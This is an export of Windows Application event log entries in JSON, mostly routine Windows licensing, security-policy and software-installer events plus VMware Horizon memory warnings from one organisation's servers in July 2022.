{"@timestamp":1657121494419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/12/26:15:31:34;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":169026}}
{"@timestamp":1657121495669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"0000060011521DF189593AD4360BD864C345C079BE08BAF5E8C2840418186C7DF5B7EDDBBAAB46FD3E7F49E1FC83EA2C18E7FE428F894F36244CE75FE9FB4799F7BCA571C7776C9B2546A100E8B3502D7B2D979A678E25FEBD49CF69EC0089A497D5554BDFA9548ED93CF1485C4AE69BF62017F941B7FF2B4281BA0C9127AA695FBC9C78D562FB7FF3C571B3B0BC0EF7F909449C69E9483F1663E1802116726069049DF0C285863080FB2E591E85F39DB93687BDE4E0386B5A351F9C79038B271D39D966451F1DEE302EDDD68A7E22F814335AF105805CEF100782B3461DAC679446A26415D4891C19770443145239FDA0E6FF6C7CBE53459EAD1A324D365D45E352DCBD","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/07/06 15:31, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":169027}}
{"@timestamp":1657121495793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"000006000222D72DBFF4253730BBFEF18172C647A32CE72A89DA84E8EFDFAC3B201DD32311381935E4384516BF1CF1B82570E681B5F5014E2B4C51ABE923F827EB8BD2ED7E5E1FB0BAC5D5512E1B337AED8845E39C35E42E82B34F0938690F960851749B50525E6D141D791ADA7F42F82BA5D22C59D0C861868902C3BD6F8E05B4257793BB47E0C923EC697CC20ED81860DABB052787F0A239A13099CB038678C463C93FD292C215635FD749144851CB21A3B20DAEECFC91F12E67EB2C9175369EE96056A5C3CE4D250EED01EEEC853A98409FC878C600C1D3D34071AF19EF167ED31F6ED816348E11FB117F428445EDF4776A22BFC2ED081D0A7C1150155C70CDEA80EB","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/07/06 15:31"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":169028}}
{"@timestamp":1657121495926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":169029}}
{"@timestamp":1657121495927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":169030}}
{"@timestamp":1657121495929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":169031}}
{"@timestamp":1657121495986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":169032}}
{"@timestamp":1657121496058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":169033}}
{"@timestamp":1657121496081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":169034}}
{"@timestamp":1657121496317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2023/01/02:15:31:36;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":169035}}
{"@timestamp":1657121496342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":169036}}
{"@timestamp":1657121526386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-07-13T15:31:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":169037}}
{"@timestamp":1657127767674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":169038}}
{"@timestamp":1657130629138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jul 06 20:03:49 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169039}}
{"@timestamp":1657173833592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jul 07 08:03:53 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169040}}
{"@timestamp":1657185679646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":169041}}
{"@timestamp":1657217037655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jul 07 20:03:57 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169042}}
{"@timestamp":1657247672514,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":169043}}
{"@timestamp":1657260241742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jul 08 08:04:01 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169044}}
{"@timestamp":1657303445741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jul 08 20:04:05 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169045}}
{"@timestamp":1657305344241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":169046}}
{"@timestamp":1657346649747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jul 09 08:04:09 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169047}}
{"@timestamp":1657364816533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":169048}}
{"@timestamp":1657387515009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169049}}
{"@timestamp":1657387515040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169050}}
{"@timestamp":1657387515104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169051}}
{"@timestamp":1657387515176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169052}}
{"@timestamp":1657387515209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169053}}
{"@timestamp":1657387515251,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169054}}
{"@timestamp":1657387515282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169055}}
{"@timestamp":1657387515312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169056}}
{"@timestamp":1657387515357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169057}}
{"@timestamp":1657387515388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169058}}
{"@timestamp":1657387571319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169059}}
{"@timestamp":1657387571347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169060}}
{"@timestamp":1657387571397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169061}}
{"@timestamp":1657387571438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169062}}
{"@timestamp":1657387571467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169063}}
{"@timestamp":1657387571501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169064}}
{"@timestamp":1657387571529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169065}}
{"@timestamp":1657387571558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169066}}
{"@timestamp":1657387571597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169067}}
{"@timestamp":1657387571625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169068}}
{"@timestamp":1657387629974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169069}}
{"@timestamp":1657387630019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169070}}
{"@timestamp":1657387630073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169071}}
{"@timestamp":1657387630116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169072}}
{"@timestamp":1657387630149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169073}}
{"@timestamp":1657387630183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169074}}
{"@timestamp":1657387630215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169075}}
